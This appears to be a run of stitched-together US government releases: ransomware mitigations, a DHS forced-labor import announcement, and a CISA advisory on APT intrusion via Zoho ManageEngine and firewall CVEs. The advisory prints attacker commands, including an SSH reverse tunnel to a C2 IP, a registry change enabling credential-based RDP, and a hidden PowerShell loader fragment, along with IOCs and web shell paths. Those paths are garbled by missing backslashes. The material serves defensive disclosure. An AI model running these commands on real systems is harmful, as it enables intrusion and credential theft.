  • Using security software to detect instances of remote access software being loaded only in memory.
  • Requiring authorized remote access solutions to be used only from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs).
  • Blocking both inbound and outbound connections on common remote access software ports and protocols at the network perimeter.
• Implement application controls to manage and control execution of software, including allowlisting remote access programs.
  • Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
• Disable command-line and scripting activities and permissions [CPG 2.N].
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege (PoLP) [CPG 2.E].
• Reduce the threat of credential compromise via the following:
  • Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
  • Refrain from storing plaintext credentials in scripts.
• Implement time-based access for accounts set at the admin level and higher [CPG 2.A, 2.E].

In addition, the authoring authorities of this CSA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, and to reduce the impact and risk of compromise by ransomware or data extortion actors:

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
• Maintain offline backups of data and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization limits the severity of disruption to its business practices [CPG 2.R].
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with NIST’s standards for developing and managing password policies.
  • Use longer passwords consisting of at least eight characters and no more than 64 characters in length [CPG 2.B].
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords [CPG 2.C].
  • Implement multiple failed login attempt account lockouts [CPG 2.G].
  • Disable password “hints.”
  • Refrain from requiring password changes more frequently than once per year.
    Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software.
• Require phishing-resistant multifactor authentication (MFA) for all services to the extent possible, particularly for webmail, virtual private networks (VPNs), and accounts that access critical systems [CPG 2.H].
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic and activity, including lateral movement, on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Disable unused ports and protocols [CPG 2.V].
• Consider adding an email banner to emails received from outside your organization [CPG 2.M].
• Disable hyperlinks in received emails.
• Ensure all backup data is encrypted, immutable (i.e., ensure backup data cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI and CISA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 4-16).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from IP addresses, a sample ransom note, communications with Snatch threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA strongly discourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to the FBI Internet Crime Complaint Center (IC3) at ic3.gov, a local FBI Field Office, or to CISA at report@cisa.gov or (888) 282-0870.

REFERENCES

[1] DataBreaches.net

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial entity, product, or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI or CISA.

VERSION HISTORY

September 20, 2023: Initial version.

Source: US Department of Homeland Security

Issues Withhold Release Order and Two Forced Labor Findings on Companies Exploiting Workers 

WASHINGTON – Today, Secretary of Homeland Security Alejandro N. Mayorkas announced that U.S. Customs and Border Protection (CBP) issued a new Withhold Release Order and two new forced labor Findings. By barring goods produced with forced labor from entering the United States, the Department is playing a critical role in protecting human rights and enforcing international labor standards. This week, Secretary Mayorkas also announced that he has designated the DHS Chief Procurement Officer as the Department’s Senior Accountable Official to prevent forced labor and other forms of human trafficking in all DHS contracts and acquisitions. 

“The dedicated CBP workforce has again taken significant action to combat forced labor and protect the human rights of workers around the world,” said Secretary Mayorkas. “Today’s Withhold Release Order and Forced Labor Findings are another important step toward ending these abhorrent practices. We will continue to leverage all of our authorities and resources to bar goods produced with forced labor from entering the United States, and with my designation earlier this week of a Senior Accountable Official to prevent human trafficking in DHS contracts, we are leading efforts to ensure that no taxpayer dollars are ever used to purchase goods or services that rely on forced labor.” 

“CBP is entering the new year with a renewed commitment to investigating and enforcing the U.S. prohibition against importing goods made with forced labor,” said CBP Commissioner Chris Magnus. “We will again dedicate significant resources to rooting out the evil and inhumane practices of forced labor.” 

Effective today, U.S. Customs and Border Protection (CBP) officers and import specialists at all U.S. ports of entry will detain disposable gloves produced in Malaysia by YTY Industry Holdings Sdn Bhd (YTY Group), including YTY Industry Sdn Bhd, Green Prospect Sdn Bhd, and GP Lumut. 

CBP issued a Withhold Release Order (WRO) against YTY Group based on information that reasonably indicates the use of forced labor in YTY Group’s manufacturing operations. CBP identified seven of the International Labour Organization’s eleven indicators of forced labor during its investigation: abuse of vulnerability, deception, retention of identity documents, intimidation and threats, debt bondage, abusive working and living conditions, and excessive overtime. 

CBP today also announced two new forced labor Findings. Effective immediately, CBP personnel at all U.S. ports of entry will seize palm oil and merchandise containing palm oil traceable to the Malaysian company Sime Darby Plantation Berhad (Sime Darby), including its subsidiaries and joint ventures. CBP will also seize seafood harvested by the Vanuatu-flagged fishing vessel, Da Wang, which is owned and operated by the Taiwanese company Yong Feng Fishery Ltd. 

CBP determined that Sime Darby and Da Wang use forced labor in their operations, and that both companies’ goods are being, or are likely to be, imported into the United States. CBP’s investigations found evidence of all 11 of the International Labour Organization’s forced labor indicators on the Da Wang vessel and Sime Darby Plantation’s palm oil plantations. CBP published both forced labor Findings in the Customs Bulletin and the Federal Register. All forced labor enforcement actions are publicly available and listed by country on CBP’s Forced Labor Withhold Release Orders and Findings page. 

The DHS Chief Procurement Officer, as the Department’s Senior Accountable Official for preventing human trafficking in DHS contracts and acquisitions, will be responsible for ensuring effective implementation of anti-trafficking rules and best practices. These practices include information sharing and tracking, contracting officer trainings, suspension and debarment actions, and criminal referrals.  

CBP is a critical component of the U.S. Department of Homeland Security (DHS) Center for Countering Human Trafficking (CCHT), a cross-Department coordination center for countering sex trafficking and forced labor, including the importation of goods produced with forced labor. Its mission is to advance counter-human trafficking law enforcement operations, protect victims, and enhance prevention efforts by aligning DHS’s capabilities and expertise. Visit the DHS Center for Countering Human Trafficking to learn more about our Department-wide efforts to combat human trafficking. 

Source: US Department of Homeland Security

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and Cyber National Mission Force (CNMF) identified the presence of indicators of compromise (IOCs) at an Aeronautical Sector organization as early as January 2023. Analysts confirmed that nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized access to a public-facing application (Zoho ManageEngine ServiceDesk Plus), establish persistence, and move laterally through the network. This vulnerability allows for remote code execution on the ManageEngine application. Additional APT actors were also observed exploiting CVE-2022-42475 to establish presence on the organization’s firewall device.

CISA and co-sealers are releasing this joint Cybersecurity Advisory (CSA) to provide network defenders with tactics, techniques, and procedures (TTPs), IOCs, and methods to detect and protect against similar exploitation.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

For a downloadable copy of the Malware Analysis Report (MAR) accompanying this CSA, see:

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See Tables 3-13 for the APT actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations.

Overview

By request of the impacted organization, CISA conducted an incident response engagement from February to April 2023. CISA and co-sealers assess that beginning as early as January 2023, multiple nation-state APT actors were present on the organization’s network via at least two initial access vectors:

• Initial Access Vector 1: APT actors exploited CVE-2022-47966 to access the organization’s web server hosting the public-facing application, Zoho ManageEngine ServiceDesk Plus.
• Initial Access Vector 2: APT actors exploited CVE-2022-42475 to access the organization’s firewall device.

CISA and co-sealers identified an array of threat actor activity, to include overlapping TTPs across multiple APT actors. Per the activity conducted, APT actors often scan internet-facing devices for vulnerabilities that can be easily exploited. Firewall, virtual private networks (VPNs), and other edge network infrastructure continue to be of interest to malicious cyber actors. When targeted, they can be leveraged to expand targeted network access, serve as malicious infrastructure, or a mixture of both.

APT Actor Activity

Initial Access Vector 1

As early as January 2023, APT actors exploited CVE-2022-47966 [T1190] for initial access to the organization’s web server hosting the public-facing application, Zoho ManageEngine ServiceDesk Plus. CISA observed indications in log files that a connection to the known malicious IP address 192.142.226[.]153 was made as part of initial exploitation.

Through exploitation of CVE-2022-47966, APT actors achieved root level access on the web server and created a local user account [T1136.001] named Azure with administrative privileges [T1068]. Actors were further able to download malware, enumerate the network, collect administrative user credentials, and move laterally through the organization’s network. CISA and co-sealers were unable to determine if proprietary information was accessed, altered, or exfiltrated. This was due to the organization not clearly defining where their data was centrally located and CISA having limited network sensor coverage.

Initial Access Vector 2

Additional APT actors exploited CVE-2022-42475 on the organization’s firewall device, which was indicated by multiple successful VPN connections from known-malicious IPs between February 1-16, 2023. It was identified that APT actors compromised and used disabled, legitimate administrative account credentials [T1078.003] from a previously hired contractor—of which the organization confirmed the user had been disabled prior to the observed activity.

Analysis identified that a common behavior for these threat actors was to use disabled administrative account credentials and delete logs from several critical servers in the environment [T1070.001]. This prevented the ability to detect follow-on exploitation or data exfiltration. CISA and co-sealers were also unable to further track the activity due to the organization not having Network Address Translation (NAT) IP logging enabled.

APT actors initiated multiple Transport Layer Security (TLS)-encrypted sessions [T1573.002] on Transmission Control Protocol (TCP) port 10443 [T1571], indicating successful exchanges of data transfer from the firewall device. APT actors were observed connecting to the device from the following actor-controlled C2 IP addresses:

• 144.202.2[.]71
• 207.246.105[.]240
• 45.77.121[.]232
• 47.90.240[.]218

APT actors further leveraged legitimate credentials to move from the firewall to a web server, where multiple web shells were loaded—among other locations, such as the OWA server—into the following directories. Note: The following file paths to these web shells were received in coordination with a trusted third-party; however, the artifacts were not received for analysis.

• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-usresource.aspx
• c:inetpubwwwrootuninetcssfont-awesomecssdiscover.ashx
• c:inetpubwwwrootuninetcssfont-awesomecssconfiglogin.ashx
• c:Program FilesCommon FilesMicrosoft SharedWeb Server Extensions15templatelayoutsapproveinfo.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteinfos.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteerrorinfo.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteinfos.ashx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-userror.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-usinfos.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-usinfo.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-usinfo-1.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-usnew_list.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-userrorinfo.aspx
• c:Program FilesMicrosoft Office Web AppsRootWebsiteen-uslgnbotr.ashx
• c:inetpubpasswordchangeLECPNJYRH.aspx
• c:inetpubpasswordchange9ehj.aspx
• c:inetpubwwwrootwssVirtualDirectoriesPortal80_vti_pvtservicesinfo.ashx
• c:inetpubwwwrootwssVirtualDirectoriesPortal80_vti_pvtservices.aspx
• c:inetpubredirectedSites[REDACTED]productsuns1fw.aspx
• c:inetpubredirectedSites[REDACTED]productsuns1ew.aspx

The following IP addresses were identified as associated with the loaded web shells:

• 45.90.123[.]194
• 154.6.91[.]26
• 154.6.93[.]22
• 154.6.93[.]5
• 154.6.93[.]12
• 154.6.93[.]32
• 154.6.93[.]24
• 184.170.241[.]27
• 191.96.106[.]40
• 102.129.145[.]232

Forensic Timeline of APT Actor Activity

Tables 1 and 2 list the timeline of events discovered during the incident response, as well as tools used by the APT actors to conduct their operations, respectively. All timestamps are presented in Coordinated Universal Time (UTC).

Table 1: Timeline of APT Actor Activity

Timestamp (UTC)	Event	Description
2023-01-18 11:57:02	Hello World User-Agent string observed in 44 total events. Uniform Resource Identifier (URI): /cgi-bin/downloadFlile[.]cgi	Hello World, the User-Agent string inside of the initiated HTTP request, was observed during communication between the organization’s web server and malicious command and control (C2) server IP 92.118.39[.]82 [T1071.001]. This string has been observed in open source as an initial step of the Mirai botnet to download malicious artifacts [T1583.005].[1]
2023-01-20	Attempts made to export three files; associated with malicious IP 192.142.226[.]153.	APT actors attempted to export [TA0009], [TA0010] three files, which were analyzed and identified as Local Security Authority Subsystem Service (LSASS) dump files. These files were renamed with .zip and .gif extensions to evade detection [T1036.008]. Analysis confirmed the APT actors were unsuccessful at exfiltrating these files: wo_view_bg.zip (09:06:37 UTC) wo_view_bg1.gif (09:08:11 UTC) wo_view_bg2.gif (09:19:43 UTC) Note: If local administrative access is achieved on a victim host, dumping LSASS credentials may allow for lateral movement across the environment. This behavior was identified during the engagement and is detailed throughout Table 1.
2023-01-20 16:51:05	Successful web server exploitation via CVE-2022-47966.	Successful web server (Zoho ManageEngine ServiceDesk Plus) exploitation via CVE-2022-47966.
2023-01-21 06:46:42	Azure local user account with administrative permissions created.	A local user account with administrative permissions, named Azure, was created on the server hosting ServiceDesk Plus.
2023-01-21 06:49:40	LSASS dumped by Azure user.	The Azure user successfully accessed and dumped credentials stored in the process memory of LSASS for the Active Directory (AD) domain [T1003.001]. Note: Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
2023-01-21 06:50:59	Mimikatz.exe downloaded via ConnectWise ScreenConnect.	The legitimate ConnectWise ScreenConnect client was utilized to connect to the ServiceDesk system, download mimikatz.exe, and execute malicious payloads to steal credentials [T1219], [T1588.002]. Note: ConnectWise ScreenConnect was observed in multiple locations within the organization’s environment, but the organization confirmed that it was not authorized software. Analysis assessed APT actors downloaded the legitimate software for malicious, illegitimate use prior to the download of mimikatz.exe.
2023-01-21 07:34:32	Bitmap.exe malware downloaded and designated to connect to C2 IP 179.60.147[.]4.	Azure user account downloaded bitmap.exe to the ServiceDesk system to execute an obfuscated, embedded malicious payload from its C2 server [T1027.009]. This malware is identified as a variant of Metasploit (Meterpreter). See MAR-10430311-1.v1 for additional details.
2023-01-21 08:46:23	Mimikatz credential dump files created.	Two files (c:windowssystem32fuu.txt, c:windowssystem32jojo.txt) were created as means for Mimikatz to dump/write credentials to disk on the ServiceDesk system [T1003].
2023-01-21 09:25:58	Legitimate files/applications nmap.exe and npcap.exe downloaded.	Azure user account downloaded nmap.exe [T1018] and npcap.exe [T1040] to continue network and credential information gathering efforts. Though legitimate applications, APT actors used these files for illegitimate, malicious purposes. Note: Adversaries may gather information about the victim’s network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.
2023-01-21 13:56:14	ssh2.zip downloaded by the Azure user account.	APT actors downloaded the file ssh2.zip via the Azure user account, which contained legitimate files that could have been leveraged for malicious purposes. When unzipped, the following files were extracted: install-sshd.ps1 (script) psexec.exe sshd.exe ssh.exe ssh-sk-helper.exe libcrypto.dll Note: CISA analyzed these files and did not identify the files as malicious. However, ssh.exe was downloaded to establish persistence on the ServiceDesk system via SSH [T1133] and is detailed in the scheduled task below.
2023-01-21 14:02:45	Ngrok token created, renamed to ngrok.yml config file, and Remote Desktop Protocol (RDP) connection established.	Ngrok was used to establish an RDP connection [T1021.001]—another method of maintaining persistence on the ServiceDesk system. In this instance, Ngrok was used to establish a reverse proxy connection to the ServiceDesk system. At the time of analysis, the firewall access control lists (ACLs) allowed all outbound connections. Considering APT actors utilized an outbound proxy, the RDP session was successfully established as the connection was initiated from the ServiceDesk system. Note: RDP is a common feature in operating systems, which allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.
2023-01-21 14:31:01	SSH tools downloaded to establish reverse (remote) communication.	Three identified executables, which provide a command line interface with the compromised system, were observed in the following file system locations: c:windowssystem32ssh-shellhost.exe c:windowssystem32ssh-agent.exe c:windowssystem32ssh-add.exe While the files were not identified as malicious, they were loaded for malicious purposes.
2023-01-21 14:33:11	license validf scheduled task created to communicate with malicious IP 104.238.234[.]145.	license validf scheduled task [T1036.004] was created to execute ssh.exe on a recurring basis on the ServiceDesk system [T1053.005]: c:WindowsSystem32ssh.exe -N -f -R 12100 sst@104.238.234.145 -p 443 -o StrictHostKeyChecking=no Analysis identified ssh.exe was used to establish a SSH reverse tunnel to the APT actors’ C2 with dynamic port forwarding [T1572]. This allowed the actors to send traffic from their C2 server into the environment and connect directly to other systems and resources.
2023-01-21 14:51:49	PsExec executed on the ServiceDesk system.	Analysis identified evidence and execution of two files (PsExec.exe and psexec.exe) on the ServiceDesk system. These files were determined to be benign. APT actors utilized PsExec to create a scheduled task and force-store administrative credentials to the local machine. psexec.exe -i -s C:WindowsSystem32mmc.exe /s C:WindowsSystem32taskschd.msc powershell New-ItemProperty -Path "HKLM:SystemCurrentControlSetControlLsa" -Name "DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force Note: PsExec, a command line utility from Microsoft’s Sysinternals Suite, is known to be used for lateral movement; evidence of lateral movement via PsExec has not been confirmed.
2023-01-21 14:55:02	ProcDump created on the ServiceDesk system.	ProcDump was created within the c:windowssystem32prc64.exe directory. This was later identified as a method for enumerating running processes/applications [T1057] and dumping LSASS credentials.
2023-01-24 15:07:18	Apache Log4j exploit attempted against the ServiceDesk system.	APT actors attempted to exploit a known Apache Log4j vulnerability (CVE-2021-44228) in the ServiceDesk system but were unsuccessful. The two IPs and one domain associated with this exploitation attempt are: 80.85.241[.]15 68.177.56[.]38 main.cloudfronts[.]net
2023-01-25 00:17:33	Mimikatz credential dump files created.	One file (c:ManageEngineServiceDeskbin1.txt) was created as a method for Mimikatz to dump/write credentials to disk on the ServiceDesk system. Note: This is a different path and time associated with Mimikatz than listed above.
2023-01-29	HTTP-GET requests sent to C2 IP 92.118.39[.]82.	The server hosting ServiceDesk was observed beaconing/sending HTTP-GET requests to a suspected APT-controlled C2 server, indicating malware was successfully implanted.
2023-02-02 05:51:08	Resource.aspx web shell detected.	Using additionally compromised, legitimate administrative credentials, APT actors logged into the Outlook Web Application (OWA) server from the ServiceDesk system. The actors dropped an Active Server Pages Extended (ASPX) web shell in the following file system location, which was designed to execute remote JavaScript code [T1059.007] on the OWA server [T1505.003]: c:Program FilesMicrosoft Office Web AppsRootWebSiteen-usresource.aspx Note: The administrative user’s credentials were obtained from the APT actors’ collection (LSASS dump) of credentials from the entire AD domain. This user is separate from the actor-created Azure user account. See MAR-10430311-1.v1 for additional details.
2023-02-02 18:45:58	Metasploit service installed.	APT actors installed Metasploit with the following attributes on the organization’s domain controller [T1059.001]: Service Name: QrrCvbrvnxasKTSb [T1543.003] Service File Name: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4) [T1564.003] Note: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform several actions, including discovery of information and execution of code.
2023-02-03 03:27:59	ConfigLogin.aspx web shell detected.	APT actors dropped an additional ASPX web shell on a web server in the following file system location: c:inetpubwwwrotuninetcssfont-awesomecssConfigLogin.aspx See MAR-10430311-1.v1 for additional details.
2023-02-03 15:12:23	wkHPd.exe created to communicate with malicious IP 108.62.118[.]160.	APT actors created and used a variant of Metasploit (Meterpreter) on the ServiceDesk system, listed as wkHPd.exe [T1587.001]. This variant serves as an attack payload that runs an interactive shell and allows a malicious actor to control and execute code on a system. See MAR-10430311-1.v1 for additional details.
2023-02-08 08:56:35, 2023-02-09 20:19:59, 2023-03-04, 2023-03-18	Hypertext Preprocessor (PHP) files uploaded via HTTP-POST request from malicious IP 193.142.146[.]226.	PHP files were uploaded to the ServiceDesk system via HTTP-POST request. APT actors were observed writing 16 instances of the following files to disk: [REDACTED]/wp-content/themes/seotheme/db.php (12 instances) [REDACTED]/wp-content/plugins/ioptimization/IOptimize.php (4 instances)
2023-03-06 06:49:40	Interact.sh	APT actors executed Domain Name System (DNS) scanning at an additional server (not the ServiceDesk system) and directed callback to the Interact.sh domain, which indicated the server was susceptible to a DNS-style attack [T1046]. Destination IP: 103.105.49[.]108

Post-engagement analysis was extended but analysts were unable to determine additional actions taken by the APT actors, likely due to a lack of sensor coverage and data unavailability. With the data available, it was determined APT actors used the tools listed in Table 2 during their operations.

Table 2: Observed Tools Used by APT Actors

Tool	Description	Observation
Mimikatz [2]	A credential dumping tool capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.	In addition to using Mimikatz for credential dumping, APT actors dumped the following Windows Registry Hive files: These files were dumped to obtain registry information such as users on the system, data used by the operating system [T1012], and installed programs.
Ngrok [3]	Ngrok software operates by running a client process on the machine and creating a private connection tunnel to a designated open port. Ngrok delivers instant ingress to applications in any cloud, private network, or devices with authentication, load balancing, and other critical controls. In recent years, Ngrok has been leveraged maliciously by a variety of threat actors, including use for persistence, lateral movement, and data exfiltration.[4],[5],[6]	Using Ngrok as an external service, APT actors were able to gain access to and utilize the command line on victim systems. Note: CISA and co-sealers have observed this commonly used commercial platform being abused by malicious actors to bypass typical firewall controls. Ngrok’s ability to tunnel RDP and other services securely over internet connections makes it a target for abuse by malicious actors.
ProcDump	A command-line application used to monitor processes and create crash dump files. A crash dump file contains the data loaded in memory at the time the dump was triggered. It is typically used for troubleshooting errors with an application or operating system.	APT actors used ProcDump to conduct reconnaissance and examine spawned processes (applications in use). This tool was also utilized as a utility for dumping credentials from the server hosting ServiceDesk Plus.
Metasploit	Metasploit is an open-source penetration testing software.	APT actors’ specific use of Meterpreter—an attack payload of Metasploit—serves as an interactive shell and allows threat actors to control and execute code on a system.
Interact.sh	An open-source tool for detecting external interactions (communication).[7] This tool is used to detect callbacks from target systems for specified vulnerabilities and commonly used during the reconnaissance stages of adversary activity.	APT actors likely used Interact.sh to refrain from using and disclosing their own C2 infrastructure.
anydesk.exe	A remote desktop application that provides platform-independent remote access to personal computers and other devices running the host application. It offers remote control, file transfer, and VPN functionality.	Between early-February and mid-March 2023, anydesk.exe was observed on three hosts with different certificate issuers and hashes—none of which were the certified issuer [T1553.002]. APT actors compromised one host and moved laterally to install the executable on the remaining two [T1570]—listed in order of time, as follows: c:programdataanydesk.exe c:Users[REDACTED]DownloadsAnyDesk.exe c:Users[REDACTED]DocumentspersonalprogramAnyDesk.exe Note: Analysts confirmed APT actors’ weaponized use of anydesk.exe but were unable to confirm how the software was installed on each host.
quser.exe	A valid program on Windows machines that displays information about user sessions on a Remote Desktop Session Host server [T1049], including the name of the user, name of the session on the remote desktop session host server, session ID, state of the session (active or disconnected), idle time (number of minutes since last keystroke or mouse movement), and date/time the user logged on.[8]	APT actors were observed using this tool as early as March 2023 across four locations with the same name but different hashes (one of which is associated with the Portuguese [Brazil] language pack): c:ProgramFilesWindowsAppsMicrosoft.LanguageExperiencePackpt-BR_19041.56.186.0_neutral__8wekyb3d8bbweWindowsSystem32pt-BR
xpack.exe	A custom .NET loader that decrypts (AES), loads, and executes accompanying files.	Xpack.exe indicators were present on multiple organization hosts, with an unverified user account observed navigating to the sites: xpack.github[.]io and xpack.disqus[.]com. Additionally, one administrator account and multiple user accounts were observed executing the xpack.exe file from a hidden directory [T1564.001]: c:USERS[REDACTED].P2POOLPLUGINSORG.ECLIPSE.EMBEDCDT.TEMPLATES.XPACK_6.3.1.202210101738 This malware was predominantly used to execute system commands, drop additional malware and tools, and stage data for exfiltration [T1074]. Note: The data exfiltrated is unknown.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 3-13 for all referenced APT actors’ tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3: Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Botnet	T1583.005	Actors used User-Agent string Hello World as an initial step of the Mirai botnet to later download malicious artifacts.
Develop Capabilities: Malware	T1587.001	Actors created and used a variant of Metasploit (Meterpreter) on the ServiceDesk system, listed as wkHPd.exe. This malware serves as an attack payload that runs an interactive shell; it allows for control and code execution on a system.
Obtain Capabilities: Exploits	T1588.002	Actors leveraged the legitimate ConnectWise ScreenConnect client to download and utilize the credential dumping tool, mimikatz.exe.

Table 4: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Actors exploited a known vulnerability (CVE-2022-47966) in the organization’s web server hosting Zoho ManageEngine ServiceDesk Plus. Actors also attempted to exploit a known Apache Log4j vulnerability (CVE-2021-44228) in the ServiceDesk system but were unsuccessful.

Table 5: Execution

Technique Title	ID	Use
Command and Scripting Interpreter: PowerShell	T1059.001	Actors installed and used Metasploit via PowerShell on the organization’s domain controller.
Command and Scripting Interpreter: JavaScript	T1059.007	Actors dropped an ASPX web shell on the OWA server, which was designed to execute remote JavaScript code.

Table 6: Persistence

Technique Title	ID	Use
Scheduled Task/Job: Scheduled Task	T1053.005	Actors created the scheduled task license validf to execute ssh.exe on a recurring basis. This executable was observed as means of establishing persistence on the ServiceDesk system.
Valid Accounts: Local Accounts	T1078.003	Actors compromised and utilized account credentials from a previously hired contractor, of which the contract ended prior to the timeframe of observed activity.
External Remote Services	T1133	ssh.exe executes on a recurring basis via a scheduled task on the ServiceDesk system as a method for access via SSH.
Create Account: Local Account	T1136.001	Actors created a local account with administrative permissions on the server hosting ServiceDesk Plus.
Server Software Component: Web Shell	T1505.003	Actors logged into the OWA server from the ServiceDesk system and dropped an ASPX web shell to establish persistent access and execute remote code.
Create or Modify System Process: Windows Service	T1543.003	Actors created a Windows Service via Metasploit.

Table 7: Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	Through exploitation of CVE-2022-47966, actors were given root level access on the web server and created a local user account named Azure with administrative privileges.

Table 8: Defense Evasion

Technique Title	ID	Use
Indicator Removal: Clear Windows Event Logs	T1070.001	Actors compromised and used disabled, legitimate administrative account credentials to delete logs from several critical servers in the environment.
Masquerading: Masquerade Task or Service	T1036.004	Actors created a scheduled task license validf, which appears as legitimate/benign and executes ssh.exe on a recurring basis on the ServiceDesk system.
Masquerading: Masquerade File Type	T1036.008	Actors attempted to export three files, which were analyzed and identified as LSASS dump files. These files were renamed with .zip and .gif extensions to evade detection.
Obfuscated Files or Information: Embedded Payloads	T1027.009	Actors downloaded the malware bitmap.exe on the ServiceDesk system to execute an obfuscated, embedded malicious payload from its C2 server.
Subvert Trust Controls: Code Signing	T1553.002	Anydesk.exe was observed on three hosts with different certificate issuers and hashes—none of which were the certified issuer.
Hide Artifacts: Hidden Files and Directories	T1564.001	Actors used xpack.exe as a method for decrypting, loading, and executing accompanying files from a hidden directory.
Hide Artifacts: Hidden Window	T1564.003	Actors used -w hidden to conceal PowerShell windows by setting the WindowStyle parameter to hidden.

Table 9: Credential Access

Technique Title	ID	Use
OS Credential Dumping	T1003	Actors created three files as means for Mimikatz to dump/write credentials to disk on the ServiceDesk system.
OS Credential Dumping: LSASS Memory	T1003.001	Actors successfully accessed and dumped credentials stored in the process memory of LSASS for the AD domain, including with the use of ProcDump.
OS Credential Dumping: Security Account Manager	T1003.002	Actors dumped sam.hiv to obtain information about users on the system.

Table 10: Discovery

Technique Title	ID	Use
System Network Connections Discovery	T1049	Quser.exe was executed to acquire information about user sessions on a Remote Desktop Session Host server.
Query Registry	T1012	Actors dumped system.hiv and security.hiv to obtain information about the data used by the operating system.
Remote System Discovery	T1018	Actors downloaded the legitimate file/application nmap.exe via the Azure user to conduct network information gathering efforts.
Network Sniffing	T1040	Actors downloaded the legitimate file/application npcap.exe via the Azure user to conduct credential gathering efforts.
Network Service Discovery	T1046	Actors executed DNS scanning at a web server and directed callback to the Interact.sh domain, which indicated the server was susceptible to a DNS-style attack.
Process Discovery	T1057	ProcDump was created within the c:windowssystem32prc64.exe directory as a method for enumerating running processes/applications.

Table 11: Lateral Movement

Technique Title	ID	Use
Remote Services: Remote Desktop Protocol	T1021.001	Ngrok was used to establish an RDP connection with the ServiceDesk system.
